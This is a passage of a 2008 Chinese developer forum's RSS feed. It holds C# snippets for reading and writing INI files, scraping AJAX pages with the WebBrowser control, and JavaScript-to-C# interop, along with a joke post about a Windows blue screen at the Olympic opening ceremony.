vValue)<br/>&nbsp;&nbsp;{<br/>&nbsp;&nbsp; WritePrivateProfileStringA(segName,keyName,vValue,__Path);<br/>&nbsp;&nbsp;}<br/>&nbsp;&nbsp;/// &lt;summary&gt;<br/>&nbsp;&nbsp;/// 写入一个配置节<br/>&nbsp;&nbsp;/// &lt;/summary&gt;<br/>&nbsp;&nbsp;/// &lt;param name=&#34;segName&#34;&gt;配置节名&lt;/param&gt;<br/>&nbsp;&nbsp;/// &lt;param name=&#34;vData&#34;&gt;数据&lt;/param&gt;<br/>&nbsp;&nbsp;/// &lt;remarks&gt;<br/>&nbsp;&nbsp;/// 数据为多个配置项组成的字符串，每个配置项之间用 &#34;\0&#34; 分割<br/>&nbsp;&nbsp;/// 字符串最后用 &#34;\0\0&#34; 结束<br/>&nbsp;&nbsp;/// &lt;/remarks&gt;<br/>&nbsp;&nbsp;/// &lt;example&gt;<br/>&nbsp;&nbsp;/// WriteSegment(segName,&#34;\0\0&#34;); 可以用于清除一个配置节下的所有配置项<br/>&nbsp;&nbsp;/// &lt;/example&gt;<br/>&nbsp;&nbsp;public void WriteSegment(string segName,string vData)<br/>&nbsp;&nbsp;{<br/>&nbsp;&nbsp; WritePrivateProfileSectionA(segName,System.Text.ASCIIEncoding.Default.GetBytes(vData),__Path);<br/>&nbsp;&nbsp;}<br/>&nbsp;&nbsp;/// &lt;summary&gt;<br/>&nbsp;&nbsp;/// 读取一个配置节下面的所有配置项<br/>&nbsp;&nbsp;/// &lt;/summary&gt;<br/>&nbsp;&nbsp;/// &lt;param name=&#34;o&#34;&gt;要读取的配置节&lt;/param&gt;<br/>&nbsp;&nbsp;public void GetSegment(INISegment o)<br/>&nbsp;&nbsp;{<br/>&nbsp;&nbsp; byte [] vData=new byte [32767];<br/>&nbsp;&nbsp; int rLen=GetPrivateProfileSectionA(o.Name,vData,32767,__Path);<br/>&nbsp;&nbsp; o.Items.Clear();<br/>&nbsp;&nbsp; if(rLen&lt;1) return;<br/>&nbsp;&nbsp; string tmp=&#34;&#34;;<br/>&nbsp;&nbsp; int iPos,iCnt;<br/>&nbsp;&nbsp; iPos=0;<br/>&nbsp;&nbsp; for(iCnt=0;iCnt&lt;rLen;iCnt++)<br/>&nbsp;&nbsp; {<br/>&nbsp;&nbsp;&nbsp;&nbsp;if(vData[iCnt]==0x00)<br/>&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp; tmp=System.Text.ASCIIEncoding.Default.GetString(vData,iPos,iCnt-iPos).Trim();<br/>&nbsp;&nbsp;&nbsp;&nbsp; if(tmp!=&#34;&#34;)<br/>&nbsp;&nbsp;&nbsp;&nbsp; {<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;string [] t=tmp.Split(&#39;=&#39;);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if(t.Length&lt;=1)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; o.Items.Add(t[0],&#34;&#34;);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;else<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; o.Items.Add(t[0],t[1]);<br/>&nbsp;&nbsp;&nbsp;&nbsp; }<br/>&nbsp;&nbsp;&nbsp;&nbsp; iPos=iCnt+1;<br/>&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp; }<br/>&nbsp;&nbsp;}<br/> }<br/> #endregion<br/>}<br/></div></div>]]></description>
		</item>
		
			<item>
			<link>http://bbs.vbkbase.com/default.asp?id=58</link>
			<title><![CDATA[开幕式上这一幕，把盖茨脸都气绿了]]></title>
			<author>vbkbase@yahoo.cn(admin)</author>
			<category><![CDATA[Tea Break]]></category>
			<pubDate>Fri,15 Aug 2008 07:56:35 +0800</pubDate>
			<guid>http://bbs.vbkbase.com/default.asp?id=58</guid>	
		<description><![CDATA[发现这画面有什么不对吗? <br/><br/><img src="http://sz.photo.store.qq.com/rurl2=786ba31393f35520e94cce89de2047eef474da3e6ed66a6061ee442dda1044f0ccb5912627d7151ca4041d287270f58fde193b612b913f43b182645ffea4128f2fde2ab866fed526ff1a7e5bcfc160885a521454" border="0" alt=""/> <br/><br/>这到底是什么呢?是蓝屏! <br/><br/>鸟巢的灯光和投影显示系统使用了上百台Windows XP Embedded系统的服务器产品，而在开幕式主火炬点火的关键时刻，其中一台投影服务器正巧出现了蓝屏。如果之前的照片还不足以显出此次蓝屏的尴尬程度的话，下面这张照片应该可以给你一个更清楚的认识。 <br/><br/><img src="http://sz.photo.store.qq.com/rurl2=63d1752a2f73851c919df653d955a99cbc0dfbba6d4709fa13261b4b3bb7fee5b753a4730b2f2ba761ecdf765094a196a00cc57dae6d3446161d0f722d19dfb5eb1b5dc8918588d3a06f254a85230a8da760eb25" border="0" alt=""/> <br/><br/>盖茨还是强忍着苦笑。。。。。。。 <br/><br/><img src="http://sz.photo.store.qq.com/rurl2=3d3a52e6b639a38bfab5dcd80733cc12af42e15787bd41645e7865ff1b55bd378d198a4be4a0f431da74e23962ffbaf8cf80b1448ebfd6e2d9ef91b980462dcdf91f19fc57b52ecca33f136bb3766e6bc6f512a9" border="0" alt=""/>]]></description>
		</item>
		
			<item>
			<link>http://bbs.vbkbase.com/default.asp?id=57</link>
			<title><![CDATA[IE7和IE6的一字之差!]]></title>
			<author>vbkbase@yahoo.cn(admin)</author>
			<category><![CDATA[Learning]]></category>
			<pubDate>Wed,13 Aug 2008 14:51:33 +0800</pubDate>
			<guid>http://bbs.vbkbase.com/default.asp?id=57</guid>	
		<description><![CDATA[WebBrowser.StatusText 可以用来判断网页是否真的加载完成,在IE7中其加载完成后返回的字符串是&#34;完成&#34;,而在IE6中其加载完成后返的字符串却是&#34;完毕&#34;,虽然只有一字之差,但是在编程中如果你不注意做兼容性判断的话,代码肯定执行不了,并且由于这个原因你在自己的机器上调试一点问题都没有,但发布到其它机器时却怎么也得不到正确的结果!<br/><br/>代码如下:<br/><br/>if((WebBrowser.StatusText==&#34;完成&#34;)||(WebBrowser.StatusText==&#34;完毕&#34;))<br/>{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //页面加载完成<br/>}]]></description>
		</item>
		
			<item>
			<link>http://bbs.vbkbase.com/default.asp?id=56</link>
			<title><![CDATA[关于如何用C#抓取AJAX页面的内容]]></title>
			<author>vbkbase@yahoo.cn(admin)</author>
			<category><![CDATA[Learning]]></category>
			<pubDate>Sun,10 Aug 2008 13:49:54 +0800</pubDate>
			<guid>http://bbs.vbkbase.com/default.asp?id=56</guid>	
		<description><![CDATA[被这个问题困扰了很久,现在终于有解决方案了<br/><br/>现在的网页有相当一部分是采用了AJAX技术,所谓的AJAX技术简单一点讲就是事件驱动吧(当然这种说法可能很不全面),在你提交了URL后,服务器发给你的并不是所有是页面内容,而有一大部分是JS脚本,即用&lt;JAVASCRIPT标签表示的,这其中有些是链接了外部的JS文件,有些是内置的JS脚本,这些脚本是在客户端加载了服务器发回来的源码后才执行的,所以不管是采用C#中的WebClient还是HttpRequest都得不到正确的结果,<span style="color:Red">因为这些脚本是在服务器发送完毕后才执行的!</span> <br/><br/>但我们用IE浏览页面时是正常的,所以解决方法只有1个就是采用WebBrowser控件<br/><br/>但是使用Webbrowser你会发现,在DownloadComplete事件中,你根本无法知道页面何时才算是真正的加载完毕!<br/>当然个别有Frame的网页可能会触发多次Complete,即使你采用计数器的办法,即在Navigated事件中++,而在DownloadComplete中做--,也仍然不能得到JS完成执行后的结果,我开始也感觉到非常奇怪,直到后来GG了相关AJAX的文章,明白了其中原委.<br/><br/><span style="color:Red">最终解决方案就是利用WebBrowser+Timer来解决抓取页面的问题</span><br/>而其中的关键仍然是页面状态,我们可以利用webBrowser1.StatusText,如果返回&#34;完成&#34;,表示页面加载完毕!<br/><br/>示例代码如下:<br/>private void timer1_Tick(object sender, EventArgs e)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;webBrowser1.Navigate(Url);<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if (webBrowser1.StatusText == &#34;完成&#34;)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;timer1.Enabled = false;<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;//页面加载完成,做一些其它的事<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}]]></description>
		</item>
		
			<item>
			<link>http://bbs.vbkbase.com/default.asp?id=55</link>
			<title><![CDATA[ JavaScript与C# Windows应用程序交互]]></title>
			<author>vbkbase@yahoo.cn(admin)</author>
			<category><![CDATA[Learning]]></category>
			<pubDate>Thu,07 Aug 2008 14:56:32 +0800</pubDate>
			<guid>http://bbs.vbkbase.com/default.asp?id=55</guid>	
		<description><![CDATA[<u><strong>一、建立网页</strong></u><br/><br/><div class="UBBPanel"><div class="UBBTitle"><img src="http://bbs.vbkbase.com/images/html.gif" style="margin:0px 2px -3px 0px"> HTML代码</div><div class="UBBContent"><TEXTAREA rows="8" id="temp24004"><html>
<head>
       <meta http-equiv=&#34;Content-Language&#34; content=&#34;zh-cn&#34;>
       <script language=&#34;javascript&#34; type=&#34;text/javascript&#34;>
              <!-- 提供给C#程序调用的方法 -->
              function messageBox(message)
              {
                    alert(message);
             }
       </script>
</head>

<body>
       <!-- 调用C#方法 -->
       <button onclick=&#34;window.external.MyMessageBox('javascript访问C#代码')&#34; >
       javascript访问C#代码</button>
</body>
</html></TEXTAREA><br/><INPUT onclick="runEx('temp24004')"  type="button" value="运行此代码"/> <INPUT onclick="doCopy('temp24004')"  type="button" value="复制此代码"/><br/> [Ctrl+A 全部选择 提示：你可先修改部分代码，再按运行]</div></div><br/><br/><u><strong>二、建立Windows应用程序</strong></u><br/><br/>1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 创建Windows应用程序项目<br/><br/>2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 在Form1窗体中添加WebBrowser控件<br/><br/>3.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 在Form1类的上方添加<br/><br/>[System.Runtime.InteropServices.ComVisibleAttribute(true)]<br/><br/>这是为了将该类设置为com可访问。如果不进行该声明将会出错。出错信息如下图所示：<br/><br/> <br/><br/>如：<br/><br/>[System.Runtime.InteropServices.ComVisibleAttribute(true)]<br/><br/>public partial class Form1 : Form<br/><br/> <br/><br/>4．初始化WebBrowser的Url与ObjectForScripting两个属性。<br/><br/>Url属性：WebBrowser控件显示的网页路径<br/><br/>ObjectForScripting属性：该对象可由显示在WebBrowser控件中的网页所包含的脚本代码访问。<br/><br/>将Url属性设置为需要进行操作的页的URL路径。<br/><br/>JavaScript通过window.external调用C#公开的方法。即由ObjectForScripting属性设置的类的实例中所包含的公共方法。具体设置例子如下：<br/><br/>System.IO.FileInfo file = new System.IO.FileInfo(&#34;index.htm&#34;);<br/><br/>// WebBrowser控件显示的网页路径<br/><br/>webBrowser1.Url = new Uri(file.FullName);<br/><br/>// 将当前类设置为可由脚本访问<br/><br/>webBrowser1.ObjectForScripting = this;<br/><br/> <br/><br/>5．C#调用JavaScript方法<br/><br/>通过WebBrowser类的Document属性中的InvokeScript方法调用当前网页的Javascript方法。如：<br/><br/>// 调用JavaScript的messageBox方法，并传入参数<br/><br/>object[] objects = new object[1];<br/><br/>objects[0] = &#34;C#访问JavaScript脚本&#34;;<br/><br/>webBrowser1.Document.InvokeScript(&#34;messageBox&#34;, objects);<br/><br/> <br/><br/>完整代码如下：<br/><br/><div class="UBBPanel"><div class="UBBTitle"><img src="http://bbs.vbkbase.com/images/code.gif" style="margin:0px 2px -3px 0px" alt="程序代码"/> 程序代码</div><div class="UBBContent">[System.Runtime.InteropServices.ComVisibleAttribute(true)]<br/><br/>public partial class Form1 : Form<br/><br/>{<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;public Form1()<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;{<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;InitializeComponent();<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;System.IO.FileInfo file = new System.IO.FileInfo(&#34;index.htm&#34;);<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// WebBrowser控件显示的网页路径<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;webBrowser1.Url = new Uri(file.FullName);<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// 将当前类设置为可由脚本访问<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;webBrowser1.ObjectForScripting = this;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;}<br/><br/> <br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;private void button1_Click(object sender, EventArgs e)<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp; {<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// 调用JavaScript的messageBox方法，并传入参数<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;object[] objects = new object[1];<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;objects[0] = &#34;C#访问JavaScript脚本&#34;;<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;webBrowser1.Document.InvokeScript(&#34;messageBox&#34;, objects);<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;}<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;// 提供给JavaScript调用的方法<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;public void MyMessageBox(string message)<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;{<br/><br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MessageBox.Show(message);<br/>&nbsp;&nbsp;&nbsp;&nbsp;}<br/>}<br/></div></div>]]></description>
		</item>
		
</channel>
</rss>